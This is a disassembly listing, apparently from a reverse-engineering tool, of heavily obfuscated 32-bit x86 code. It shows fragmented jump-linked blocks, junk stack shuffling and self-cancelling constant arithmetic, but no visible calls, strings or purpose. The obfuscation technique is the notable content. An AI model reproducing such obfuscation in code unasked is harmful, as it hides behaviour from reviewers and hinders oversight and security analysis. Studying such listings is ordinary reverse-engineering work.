; ---------------------------------------------------------------------------


loc_58C6A5:				; CODE XREF: ud2_____:00583196j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58C6AA:				; CODE XREF: ud2_____:00591FABj
		add	edx, edi
		jmp	loc_582EC5
; ---------------------------------------------------------------------------


loc_58C6B1:				; CODE XREF: ud2_____:005862A3j
		pop	ebp
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_580AA8
; ---------------------------------------------------------------------------


loc_58C6C3:				; CODE XREF: ud2_____:00587608j
		push	edx
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_57FB19
; ---------------------------------------------------------------------------


loc_58C6D4:				; CODE XREF: ud2_____:00586C35j
		add	ebp, edi
		add	ebp, 38DA5D75h
		pop	edi
		jmp	loc_590A19
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	1B91h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		jmp	loc_583795
; ---------------------------------------------------------------------------


loc_58C703:				; CODE XREF: ud2_____:0058B602j
		push	75BCh
		mov	[esp], edi
		jmp	loc_58880D
; ---------------------------------------------------------------------------


loc_58C710:				; CODE XREF: ud2_____:0058EC5Dj
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	edi
		mov	edi, 4
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_592AE8
; ---------------------------------------------------------------------------


loc_58C732:				; CODE XREF: ud2_____:00581C77j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58AE8A
; ---------------------------------------------------------------------------


loc_58C740:				; CODE XREF: ud2_____:00585F32j
		sub	[edi+24h], ebp
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edx
		mov	edx, 6D6C703Ch
		shl	edx, 5
		jmp	loc_58C9B7
; ---------------------------------------------------------------------------


loc_58C762:				; CODE XREF: ud2_____:005885B9j
		sub	al, dl
		pop	edx
		sub	al, cl
		jmp	loc_58A071
; ---------------------------------------------------------------------------


loc_58C76C:				; CODE XREF: ud2_____:00591865j
		push	400Eh
		jmp	loc_57FEEF
; ---------------------------------------------------------------------------


loc_58C776:				; CODE XREF: ud2_____:00589657j
		pop	edx
		xchg	ecx, [esp]
		jmp	loc_58F3C8
; ---------------------------------------------------------------------------


loc_58C77F:				; CODE XREF: ud2_____:00586FD3j
		add	edi, 2509149Bh
		jmp	loc_57F9B2
; ---------------------------------------------------------------------------


loc_58C78A:				; CODE XREF: ud2_____:00591E3Bj
		not	edi
		xchg	edi, ebx
		jmp	loc_58CD2E
; ---------------------------------------------------------------------------


loc_58C793:				; CODE XREF: ud2_____:00589CC9j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_57FAC0
; ---------------------------------------------------------------------------


loc_58C7A1:				; CODE XREF: ud2_____:00586EF2j
		pop	esp
		mov	[esp], edi
		mov	edi, 5AC53172h
		dec	edi
		sub	edi, 2427008Ch
		push	edx
		mov	edx, 369E30E1h
		sub	edi, 132757F6h
		jmp	loc_58F9B6
; ---------------------------------------------------------------------------


loc_58C7C2:				; CODE XREF: ud2_____:00591E90j
		add	eax, 1
		push	4D18h
		mov	[esp], edi
		mov	edi, 18A16FB4h
		xchg	esi, edi
		not	esi
		jmp	loc_5817B8
; ---------------------------------------------------------------------------


loc_58C7DB:				; CODE XREF: ud2_____:0058D73Aj
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 35A21F77h
		jmp	loc_57FE40
; ---------------------------------------------------------------------------


loc_58C7EC:				; CODE XREF: ud2_____:0058B10Aj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5872DE
; ---------------------------------------------------------------------------


loc_58C7FA:				; CODE XREF: ud2_____:00586FEDj
		mov	ebp, edx
		jmp	loc_58E91D
; ---------------------------------------------------------------------------


loc_58C801:				; CODE XREF: ud2_____:005806A8j
		add	edx, 62F65CFAh
		and	edx, 4D4523C4h
		sub	edx, 6B206EB4h
		jmp	loc_59109D
; ---------------------------------------------------------------------------


loc_58C818:				; CODE XREF: ud2_____:00586544j
		add	ebp, eax
		push	edi
		mov	edi, 70CB5BCEh
		jmp	loc_58D44B
; ---------------------------------------------------------------------------


loc_58C825:				; CODE XREF: ud2_____:00589B75j
		mov	ax, [esp]
		push	6833h
		mov	[esp], eax
		jmp	loc_57EFD4
; ---------------------------------------------------------------------------


loc_58C836:				; CODE XREF: ud2_____:0057F429j
		push	74DB3E52h
		pop	edi
		dec	edi
		xor	edi, 306C2A78h
		jmp	loc_58159E
; ---------------------------------------------------------------------------


loc_58C848:				; CODE XREF: ud2_____:0058A226j
		add	edi, 0DA1123DEh
		add	ebx, edi
		pop	edi
		jmp	loc_58EF0E
; ---------------------------------------------------------------------------


loc_58C856:				; CODE XREF: ud2_____:00587917j
		push	edi
		xor	dword ptr [esp], 2F1516D0h
		pop	ebp
		xor	ebp, 2F1516D0h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	eax, 4B7E4B33h
		add	eax, ebp
		sub	eax, 4B7E4B33h
		mov	ebp, [esp]
		jmp	loc_5917CE
; ---------------------------------------------------------------------------


loc_58C883:				; CODE XREF: ud2_____:0057E6FFj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_589847
; ---------------------------------------------------------------------------


loc_58C88E:				; CODE XREF: ud2_____:0058E1C4j
		push	edi
		mov	edi, 4
		jmp	loc_5870AC
; ---------------------------------------------------------------------------


loc_58C899:				; CODE XREF: ud2_____:0057EC0Ej
		push	778Ah
		mov	[esp], ecx
		push	ebx
		mov	ebx, 503A52BAh
		jmp	loc_5830E8
; ---------------------------------------------------------------------------


loc_58C8AC:				; CODE XREF: ud2_____:005835BEj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_580F79
; ---------------------------------------------------------------------------


loc_58C8BD:				; CODE XREF: ud2_____:00590688j
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_58B8D9
; ---------------------------------------------------------------------------


loc_58C8D8:				; CODE XREF: ud2_____:0057EB30j
		pop	ebp
		xor	ebp, 0C4585CAFh
		add	edx, 6A9B0048h
		jmp	loc_58799D
; ---------------------------------------------------------------------------


loc_58C8EA:				; CODE XREF: ud2_____:0058ECEDj
		not	dh
		jmp	loc_5808D8
; ---------------------------------------------------------------------------


loc_58C8F1:				; CODE XREF: ud2_____:00585A22j
		pop	esp
		push	dword ptr [esp]
		jmp	loc_58F3D5
; ---------------------------------------------------------------------------


loc_58C8FA:				; CODE XREF: ud2_____:0058A6FDj
		mov	dh, ch
		pop	ecx
		and	dh, 0ADh
		dec	dh
		inc	dh
		xor	dh, 57h
		mov	ah, dh
		pop	edx
		push	59EBh
		mov	[esp], eax
		mov	al, 41h
		push	ecx
		mov	cl, al
		mov	dl, cl
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		xor	dl, ah
		pop	eax
		push	ebx
		mov	bl, 0C8h
		sub	al, 5Dh
		sub	al, bl
		add	al, 5Dh
		pop	ebx
		add	al, dl
		push	edx
		mov	dh, 0C8h
		jmp	loc_58A932
; ---------------------------------------------------------------------------


loc_58C937:				; CODE XREF: ud2_____:0058190Bj
		not	esi
		sub	esi, 0C9B427CAh
		xor	ebx, esi
		jmp	loc_58D972
; ---------------------------------------------------------------------------


loc_58C946:				; CODE XREF: ud2_____:005821B8j
		mov	al, 8Eh
		dec	al
		dec	al
		shr	al, 7
		push	ecx
		jmp	loc_58B65E
; ---------------------------------------------------------------------------


loc_58C955:				; CODE XREF: ud2_____:0058B51Fj
		mov	ebx, 317E0221h
		push	644Fh
		mov	[esp], ebx
		mov	ebx, 15AC4900h
		jmp	loc_5804AB
; ---------------------------------------------------------------------------


loc_58C96C:				; CODE XREF: ud2_____:0058DF5Dj
		mov	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	ebx, 0C884FE7h
		sub	ebx, 41C74584h
		add	ebx, eax
		add	ebx, 41C74584h
		push	4A5Ch
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		jmp	loc_580B94
; ---------------------------------------------------------------------------
		neg	word ptr [esp]
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58C9AD:				; CODE XREF: ud2_____:0058E47Ej
		or	edx, eax
		shl	edx, 1
		push	ebp
		jmp	loc_57E7F7
; ---------------------------------------------------------------------------


loc_58C9B7:				; CODE XREF: ud2_____:0058C75Dj
		shl	edx, 3
		not	edx
		add	edx, 6C703C05h
		jmp	loc_5816BA
; ---------------------------------------------------------------------------


loc_58C9C7:				; CODE XREF: ud2_____:0058E99Cj
		add	esp, 4
		jmp	loc_57E1C2
; ---------------------------------------------------------------------------


loc_58C9D2:				; CODE XREF: ud2_____:005913BAj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	1D98h
		mov	[esp], edi
		mov	edi, 76B04F42h
		push	esi
		mov	esi, 46231673h
		sub	[esp+8], esi
		pop	esi
		add	[esp+4], edi
		add	dword ptr [esp+4], 46231673h
		jmp	loc_5913CC
; ---------------------------------------------------------------------------


loc_58CA14:				; CODE XREF: ud2_____:00585AC1j
		push	4686h
		jmp	loc_57FE54
; ---------------------------------------------------------------------------


loc_58CA1E:				; CODE XREF: ud2_____:00586FE7j
		mov	ecx, 4
		jmp	loc_5914ED
; ---------------------------------------------------------------------------


loc_58CA28:				; CODE XREF: ud2_____:005819E2j
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_591840
; ---------------------------------------------------------------------------


loc_58CA32:				; CODE XREF: ud2_____:00584C8Ej
		or	ebp, 17662973h
		jmp	loc_58421C
; ---------------------------------------------------------------------------


loc_58CA3D:				; CODE XREF: ud2_____:0058D4E3j
		mov	esi, [esp]
		jmp	loc_58C15D
; ---------------------------------------------------------------------------


loc_58CA45:				; CODE XREF: ud2_____:00584868j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		and	eax, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_592936
; ---------------------------------------------------------------------------


loc_58CA5B:				; CODE XREF: ud2_____:00592226j
		not	ebx
		jmp	loc_5800D9
; ---------------------------------------------------------------------------


loc_58CA62:				; CODE XREF: ud2_____:0059131Aj
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_585041
; ---------------------------------------------------------------------------


loc_58CA7A:				; CODE XREF: ud2_____:00592F97j
		sub	esp, 4
		mov	[esp], edi
		push	esi
		mov	esi, 434A570Dh
		sub	esi, 0E4944F5h
		and	esi, 2C6A79ABh
		xchg	ecx, esi
		jmp	loc_580879
; ---------------------------------------------------------------------------


loc_58CA99:				; CODE XREF: ud2_____:00581E18j
		pop	eax
		push	dword ptr [esp]
		jmp	loc_58D525
; ---------------------------------------------------------------------------


loc_58CAA2:				; CODE XREF: ud2_____:00588AB4j
		mov	[esp], ebx
		push	ecx
		push	ebx
		push	eax
		jmp	loc_592558
; ---------------------------------------------------------------------------


loc_58CAAD:				; CODE XREF: ud2_____:0058D436j
		add	ebp, 308B71C9h
		xor	ebp, 8A3FF943h
		mov	ebx, ebp
		pop	ebp
		sub	ebx, 126A6145h
		xor	ebx, 13A055D9h
		jmp	loc_586BB3
; ---------------------------------------------------------------------------


loc_58CACD:				; CODE XREF: ud2_____:0058296Aj
		or	edx, 47F3058Ch
		push	ebp
		mov	ebp, 19614A55h
		and	edx, ebp
		pop	ebp
		add	edx, 55CE261Dh
		add	edx, 0A0D099CEh
		add	eax, edx
		pop	edx
		sub	eax, 3512B7AFh
		and	ecx, eax
		jmp	loc_58FEDA
; ---------------------------------------------------------------------------


loc_58CAF7:				; CODE XREF: ud2_____:00592AD8j
		add	ebx, 17B535ACh
		and	ebp, ebx
		pop	ebx
		xor	ebp, 67F0464Ch
		sub	edi, ebp
		jmp	loc_58BD72
; ---------------------------------------------------------------------------


loc_58CB0D:				; CODE XREF: ud2_____:005889BEj
		pop	esi
		jmp	loc_58DE3B
; ---------------------------------------------------------------------------


loc_58CB13:				; CODE XREF: ud2_____:00583A0Dj
		mov	ebx, 10215BE2h
		jmp	loc_58B542
; ---------------------------------------------------------------------------


loc_58CB1D:				; CODE XREF: ud2_____:00588C83j
		mov	[esp], edx
		push	ebp
		push	2DEF019Dh
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_58E41A
; ---------------------------------------------------------------------------


loc_58CB2F:				; CODE XREF: ud2_____:005843E0j
		sub	ecx, 8523FDB1h
		mov	eax, ecx
		pop	ecx
		jmp	loc_587982
; ---------------------------------------------------------------------------


loc_58CB3D:				; CODE XREF: ud2_____:005858B6j
		mov	edi, 2B5E5551h
		add	edi, 1E1F76A4h
		not	edi
		or	edi, 16F24B73h
		jmp	loc_58379B
; ---------------------------------------------------------------------------


loc_58CB55:				; CODE XREF: ud2_____:00589904j
		add	esp, 4
		push	small word ptr [eax]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58CB60:				; CODE XREF: ud2_____:00586C3Ej
		pop	bx
		push	eax
		jmp	loc_58B25E
; ---------------------------------------------------------------------------


loc_58CB68:				; CODE XREF: ud2_____:0058639Cj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_58BF73
; ---------------------------------------------------------------------------


loc_58CB87:				; CODE XREF: ud2_____:0058B3A6j
		pop	ebp
		push	eax
		push	esp
		mov	eax, [esp]
		push	edx
		jmp	loc_58E5AF
; ---------------------------------------------------------------------------


loc_58CB93:				; CODE XREF: ud2_____:0058B955j
		pop	dx
		push	dword ptr [esp]
		jmp	loc_5851CD
; ---------------------------------------------------------------------------


loc_58CB9D:				; CODE XREF: ud2_____:0057FC1Aj
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_584B80
; ---------------------------------------------------------------------------


loc_58CBAF:				; CODE XREF: ud2_____:005806D9j
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_58D238
; ---------------------------------------------------------------------------


loc_58CBC3:				; CODE XREF: ud2_____:00592C35j
		add	ecx, edx
		sub	ecx, 501B2CDFh
		pop	edx
		push	ebx
		mov	ebx, 9BF7F7C1h
		add	ecx, 1E2F1D09h
		sub	ecx, 70C827BAh
		add	ecx, ebx
		add	ecx, 70C827BAh
		push	esi
		mov	esi, 66DA2756h
		xor	esi, 78F53A5Fh
		jmp	loc_57EB79
; ---------------------------------------------------------------------------


loc_58CBF7:				; CODE XREF: ud2_____:0058170Fj
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_57FC1F
; ---------------------------------------------------------------------------


loc_58CC01:				; CODE XREF: ud2_____:0058B207j
		sub	esi, 55225760h
		jmp	loc_57FE7F
; ---------------------------------------------------------------------------


loc_58CC0C:				; CODE XREF: ud2_____:00588532j
		sub	esi, ebp
		sub	esi, 21F155B4h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_58F6B9
; ---------------------------------------------------------------------------


loc_58CC22:				; CODE XREF: ud2_____:00591962j
		pop	esi
		add	esi, 290D5F7Dh
		jmp	loc_58836D
; ---------------------------------------------------------------------------


loc_58CC2E:				; CODE XREF: ud2_____:0058F143j
		sub	edx, 374E1398h
		add	edx, ebp
		push	eax
		mov	eax, 224E0F6Fh
		not	eax
		shl	eax, 1
		sub	eax, 8415CD88h
		sub	edx, 15C568F7h
		add	edx, eax
		add	edx, 15C568F7h
		pop	eax
		jmp	loc_59171B
; ---------------------------------------------------------------------------


loc_58CC59:				; CODE XREF: ud2_____:0058E514j
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		jmp	loc_58C5EE
; ---------------------------------------------------------------------------


loc_58CC72:				; CODE XREF: ud2_____:005808BAj
		push	0
		sub	[esp], edi
		jmp	loc_58710E
; ---------------------------------------------------------------------------


loc_58CC7F:				; CODE XREF: ud2_____:005885D3j
		sub	esp, 4
		jmp	loc_58BDBC
; ---------------------------------------------------------------------------


loc_58CC8A:				; CODE XREF: ud2_____:00583F28j
		pop	eax
		jmp	loc_5884A2
; ---------------------------------------------------------------------------


loc_58CC90:				; CODE XREF: ud2_____:0058DBF2j
		pop	ebx
		dec	al
		not	al
		add	al, 0DAh
		xor	al, 2Fh
		neg	al
		push	cx
		mov	cl, 0A2h
		sub	al, cl
		pop	cx
		sub	bl, 0D4h
		sub	bl, al
		add	bl, 0D4h
		mov	eax, [esp]
		add	esp, 4
		push	small 46D0h
		mov	[esp], dx
		push	eax
		mov	ah, 8Ah
		mov	dh, ah
		pop	eax
		add	bl, dh
		mov	dx, [esp]
		add	esp, 2
		sub	bl, 0D5h
		sub	bl, al
		add	bl, 0D5h
		sub	bl, 8Ah
		push	6F0Dh
		mov	[esp], ecx
		push	ebx
		mov	bh, 0E7h
		push	ecx
		mov	ch, bh
		jmp	loc_58ABF6
; ---------------------------------------------------------------------------


loc_58CCEC:				; CODE XREF: ud2_____:00580990j
		pop	ecx
		jmp	loc_5911BF
; ---------------------------------------------------------------------------


loc_58CCF2:				; CODE XREF: ud2_____:005822F5j
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_57F176
; ---------------------------------------------------------------------------


loc_58CCFD:				; CODE XREF: ud2_____:0058618Dj
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5880FE
; ---------------------------------------------------------------------------


loc_58CD0A:				; CODE XREF: ud2_____:0058FDD0j
		shr	ecx, 3
		sub	ecx, 0B90B6525h
		and	ebx, ecx
		pop	ecx
		shr	ebx, 5
		push	edi
		jmp	loc_58466F
; ---------------------------------------------------------------------------


loc_58CD1F:				; CODE XREF: ud2_____:005869EBj
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5833B1
; ---------------------------------------------------------------------------


loc_58CD2E:				; CODE XREF: ud2_____:0058C78Ej
		xchg	ebx, [esp]
		pop	ecx
		jmp	loc_57ED43
; ---------------------------------------------------------------------------


loc_58CD37:				; CODE XREF: ud2_____:0058A06Cj
		sub	edi, 7EC37827h
		sub	edi, 510B00F4h
		jmp	loc_58BE84
; ---------------------------------------------------------------------------


loc_58CD48:				; CODE XREF: ud2_____:005926E1j
		mov	edx, 3CF22EA9h
		add	dword ptr [esp+4], 1AD667CCh
		sub	[esp+4], edx
		sub	dword ptr [esp+4], 1AD667CCh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	eax
		push	4E9Dh
		mov	[esp], edx
		push	ebp
		mov	ebp, 3CF22EA9h
		jmp	loc_58645E
; ---------------------------------------------------------------------------


loc_58CD7F:				; CODE XREF: ud2_____:00586799j
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_582D98
; ---------------------------------------------------------------------------


loc_58CD8D:				; CODE XREF: ud2_____:0058A8F1j
		mov	edx, [esp]
		add	esp, 4
		push	1277h
		jmp	loc_590EAF
; ---------------------------------------------------------------------------


loc_58CDA0:				; CODE XREF: ud2_____:005837F9j
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5912ED
; ---------------------------------------------------------------------------


loc_58CDAF:				; CODE XREF: ud2_____:005871C8j
		add	eax, 1D804F49h
		jmp	loc_5817A1
; ---------------------------------------------------------------------------


loc_58CDB9:				; CODE XREF: ud2_____:00582C7Cj
		push	4A9Dh
		mov	[esp], esi
		pop	dword ptr [edi+24h]
		mov	esi, [esp]
		add	esp, 4


loc_58CDCA:				; CODE XREF: ud2_____:0058AFF4j
		push	edx
		mov	edx, esp
		jmp	loc_57E471
; ---------------------------------------------------------------------------


loc_58CDD2:				; CODE XREF: ud2_____:0058425Aj
		push	56B3h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	edi
		mov	edi, 4
		jmp	loc_58034D
; ---------------------------------------------------------------------------


loc_58CDEA:				; CODE XREF: ud2_____:005878C6j
		mov	esi, 6FAB72EDh
		add	esi, ecx
		jmp	loc_58B8B2
; ---------------------------------------------------------------------------


loc_58CDF6:				; CODE XREF: ud2_____:00591C18j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_592E6A
; ---------------------------------------------------------------------------


loc_58CE04:				; CODE XREF: ud2_____:0057E87Dj
		push	685Ch
		mov	[esp], ebp
		mov	ebp, 16975F95h
		or	ebp, 79A14E2h
		and	ebp, 19E62774h
		and	ebp, 2B7672D9h
		xor	ebp, 1C4E6E2Bh
		and	ebp, 29E41DB2h
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		push	edi
		push	ebp
		push	4B57289Ah
		pop	ebp
		jmp	loc_583AB0
; ---------------------------------------------------------------------------


loc_58CE41:				; CODE XREF: ud2_____:0058FBE5j
		add	ebx, 4
		jmp	loc_583316
; ---------------------------------------------------------------------------


loc_58CE49:				; CODE XREF: ud2_____:00582F1Bj
		sub	eax, ebp
		pop	ebp
		jmp	loc_57F868
; ---------------------------------------------------------------------------


loc_58CE51:				; CODE XREF: ud2_____:00587DD6j
		mov	ecx, [esp]
		add	esp, 4
		push	2BC8h
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		push	53BEh
		mov	[esp], ebp
		jmp	loc_581295
; ---------------------------------------------------------------------------


loc_58CE78:				; CODE XREF: ud2_____:00580DE2j
		add	esp, 4
		add	edi, 61C83E20h
		sub	edi, eax
		jmp	loc_587843
; ---------------------------------------------------------------------------


loc_58CE88:				; CODE XREF: ud2_____:0058EF01j
		add	ecx, 21F06E85h
		sub	edi, ecx
		pop	ecx
		add	edi, ebp
		add	edi, 784B2A8Ch
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_582D83
; ---------------------------------------------------------------------------


loc_58CEA4:				; CODE XREF: ud2_____:0058A351j
		push	6869h
		mov	[esp], esi
		push	esp
		jmp	loc_58FCB4
; ---------------------------------------------------------------------------


loc_58CEB2:				; CODE XREF: ud2_____:0058D96Dj
		xor	esi, 0AADFBC41h
		jmp	loc_592CFE
; ---------------------------------------------------------------------------


loc_58CEBD:				; CODE XREF: ud2_____:00588374j
		sub	edi, eax
		jmp	loc_58B017
; ---------------------------------------------------------------------------


loc_58CEC4:				; CODE XREF: ud2_____:005829A2j
		xor	esi, [esp]
		jmp	loc_587131
; ---------------------------------------------------------------------------


loc_58CECC:				; CODE XREF: ud2_____:0058B005j
		add	esp, 4
		sub	edi, 36743D06h
		jmp	loc_582269
; ---------------------------------------------------------------------------


loc_58CEDD:				; CODE XREF: ud2_____:0058EA3Ej
		and	edx, 7AD04B81h
		shr	edx, 7
		and	edx, 7D3F1CBEh
		sub	edx, 0F495F2B2h
		add	ebx, 3FD12F6Ah
		sub	ebx, edx
		push	ebp
		jmp	loc_589CDD
; ---------------------------------------------------------------------------


loc_58CF00:				; CODE XREF: ud2_____:00585B3Dj
		and	ebx, 57FB6104h
		jmp	loc_58EDDA
; ---------------------------------------------------------------------------


loc_58CF0B:				; CODE XREF: ud2_____:005909E6j
		shr	ebp, 8
		jmp	loc_58B923
; ---------------------------------------------------------------------------


loc_58CF13:				; CODE XREF: ud2_____:00585B9Aj
		push	ebx
		jmp	loc_586010
; ---------------------------------------------------------------------------


loc_58CF19:				; CODE XREF: ud2_____:0057FBBAj
		add	eax, 1AA91835h
		sub	eax, ebx
		jmp	loc_585EF3
; ---------------------------------------------------------------------------


loc_58CF25:				; CODE XREF: ud2_____:0058095Aj
		mov	esi, 173F2539h
		sub	esi, 61396138h
		xor	esi, 0C6BA930Eh
		sub	edx, esi
		pop	esi
		add	ebx, edx
		jmp	loc_58F4E0
; ---------------------------------------------------------------------------


loc_58CF40:				; CODE XREF: ud2_____:0058C4F9j
		pop	ebp
		push	eax
		mov	eax, 4
		add	ebx, 20CA2205h
		jmp	loc_58A5EF
; ---------------------------------------------------------------------------


loc_58CF52:				; CODE XREF: ud2_____:0058C133j
		add	edx, 4
		jmp	loc_57E499
; ---------------------------------------------------------------------------


loc_58CF5D:				; CODE XREF: ud2_____:005853BDj
		or	eax, 7AEC4567h
		xor	eax, 5F663F87h
		add	eax, 91823199h
		mov	edx, eax
		pop	eax
		add	ebp, edx
		jmp	loc_587F1B
; ---------------------------------------------------------------------------


loc_58CF76:				; CODE XREF: ud2_____:005900EFj
		mov	ebx, 6E7C78A1h
		dec	ebx
		inc	ebx
		sub	ebx, 4DA5E3DAh
		add	ebp, ebx
		pop	ebx
		mov	esi, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ecx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		xor	ecx, [esp]
		jmp	loc_58875D
; ---------------------------------------------------------------------------


loc_58CFAB:				; CODE XREF: ud2_____:00582277j
		pop	esi
		xchg	edi, [esp]
		jmp	loc_582C09
; ---------------------------------------------------------------------------


loc_58CFB4:				; CODE XREF: ud2_____:00585CECj
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	ecx, 0A22CA250h
		sub	ecx, 78A84F1Dh
		add	ecx, edi
		jmp	loc_580E00
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		jmp	loc_580AEA
; ---------------------------------------------------------------------------


loc_58CFD7:				; CODE XREF: ud2_____:0057E8F6j
		pop	edx
		push	esi
		mov	esi, 79ED0FAEh
		and	edi, esi
		pop	esi
		and	edi, 74AE19F4h
		push	0
		push	843h
		mov	[esp], ecx
		mov	ecx, 6DB45136h
		sub	dword ptr [esp+4], 6CD76E98h
		sub	[esp+4], ecx
		add	dword ptr [esp+4], 6CD76E98h
		jmp	loc_585CF1
; ---------------------------------------------------------------------------


loc_58D012:				; CODE XREF: ud2_____:0058668Cj
		add	esp, 4
		jmp	loc_58B716
; ---------------------------------------------------------------------------


loc_58D01A:				; CODE XREF: ud2_____:0057E6AAj
		push	ecx
		mov	ecx, 3882139h
		sub	dword ptr [esp+4], 5CEB7076h
		push	eax
		mov	eax, 99879DEh
		jmp	loc_58ED4A
; ---------------------------------------------------------------------------


loc_58D033:				; CODE XREF: ud2_____:0058DF36j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 3D8F0478h
		push	293Eh
		jmp	loc_58B379
; ---------------------------------------------------------------------------


loc_58D04B:				; CODE XREF: ud2_____:00583394j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58D06A:				; CODE XREF: ud2_____:0058366Dj
		xchg	eax, [esp]
		jmp	loc_591487
; ---------------------------------------------------------------------------


loc_58D072:				; CODE XREF: ud2_____:0057E361j
		mov	ah, bh
		mov	cl, ah
		mov	eax, [esp]
		add	esp, 4
		pop	ebx
		xor	al, cl
		jmp	loc_5872C3
; ---------------------------------------------------------------------------


loc_58D087:				; CODE XREF: ud2_____:00581B2Bj
		mov	[esp], edi
		mov	edi, esp
		push	esi
		mov	esi, 695075D2h
		dec	esi
		shl	esi, 1
		neg	esi
		xor	esi, 2D5F145Ah
		add	edi, esi
		pop	esi
		jmp	loc_5809D7
; ---------------------------------------------------------------------------


loc_58D0A5:				; CODE XREF: ud2_____:005910E2j
		sub	edx, 1
		xor	edx, 4388330Eh
		add	edi, 6ADD4EA2h
		add	edi, edx
		sub	edi, 6ADD4EA2h
		pop	edx
		push	esi
		mov	esi, 9520900h
		jmp	loc_57EC4A
; ---------------------------------------------------------------------------


loc_58D0C8:				; CODE XREF: ud2_____:005809DAj
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	ch, bl
		pop	ebx
		pop	edx
		jmp	loc_586E3C
; ---------------------------------------------------------------------------


loc_58D0D7:				; CODE XREF: ud2_____:00588043j
		shl	esi, 4
		jmp	loc_58971D
; ---------------------------------------------------------------------------


loc_58D0DF:				; CODE XREF: ud2_____:0057F762j
		sub	ebx, 0D6A390Ch
		push	58h
		mov	[esp], ebp
		push	esi
		jmp	loc_58E69B
; ---------------------------------------------------------------------------


loc_58D0F3:				; CODE XREF: ud2_____:005859D7j
		push	edi
		mov	edi, ebp
		mov	esi, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		pop	ebp
		jmp	loc_58FB6F
; ---------------------------------------------------------------------------


loc_58D10D:				; CODE XREF: ud2_____:0058183Cj
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5808E0
; ---------------------------------------------------------------------------


loc_58D119:				; CODE XREF: ud2_____:0058179Cj
		mov	[esp], eax
		push	ebp
		mov	ebp, 2C403C9Eh
		shl	ebp, 7
		xor	ebp, 77894E12h
		mov	eax, ebp
		pop	ebp
		sub	eax, 3A5905DEh
		push	0
		sub	[esp], eax
		pop	eax
		and	eax, 0AC33546h
		or	eax, 7F3C1C57h
		push	ebp
		push	esi
		jmp	loc_58176F
; ---------------------------------------------------------------------------


loc_58D14D:				; CODE XREF: ud2_____:00587D04j
		pop	edx
